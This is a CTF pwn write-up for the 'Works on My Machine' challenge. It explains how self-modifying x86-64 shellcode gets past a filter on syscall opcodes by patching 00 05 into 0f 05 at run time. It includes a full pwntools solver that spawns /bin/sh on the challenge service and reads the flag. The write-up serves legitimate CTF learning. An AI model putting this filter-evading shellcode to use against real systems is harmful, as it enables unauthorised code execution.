archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

Works on My Machine

It worked perfectly on the developer's laptop. If it misbehaves now, that sounds impressively like your problem.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYmediumPOINTS300
shellcodeself-modifying-code

Walkthrough

Solution

The service executes code from an RWX mapping but rejects literal syscall, int 0x80, and sysenter opcode pairs. The mapping is writable during execution, so place 00 05 at the future syscall site and begin with a small self-modifying stub that changes the first byte to 0f.

The remaining shellcode constructs /bin//sh, sets up execve, and falls into the newly created 0f 05. The forbidden sequence never appears in the submitted payload, but it exists by the time execution reaches it.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3

from pwn import *


context.arch = "amd64"
context.log_level = "error"

host = args.HOST or "127.0.0.1"
port = int(args.PORT or 20019)

payload = asm(
    """
    lea rbx, [rip + gate]
    mov byte ptr [rbx], 0x0f
    xor eax, eax
    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi, rsp
    xor edx, edx
    mov al, 59
gate:
    .byte 0x00, 0x05
    """
)

for forbidden in (b"\x0f\x05", b"\xcd\x80", b"\x0f\x34"):
    assert forbidden not in payload

io = process("./main") if args.LOCAL else remote(host, port)
io.sendlineafter(b"Size: ", str(len(payload)).encode())
io.sendafter(b"Data: ", payload)
io.recvuntil(b"Fine. Running it.\n")
io.sendline(b"cat flag.txt 2>/dev/null || cat /flag.txt; exit")
print(io.recvuntil(b"}").decode().strip())
io.close()

Flag

Securinets{https://youtube.com/shorts/2zGjBVnwL-E?si=Kz4aJHUvH2l0ccQW}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS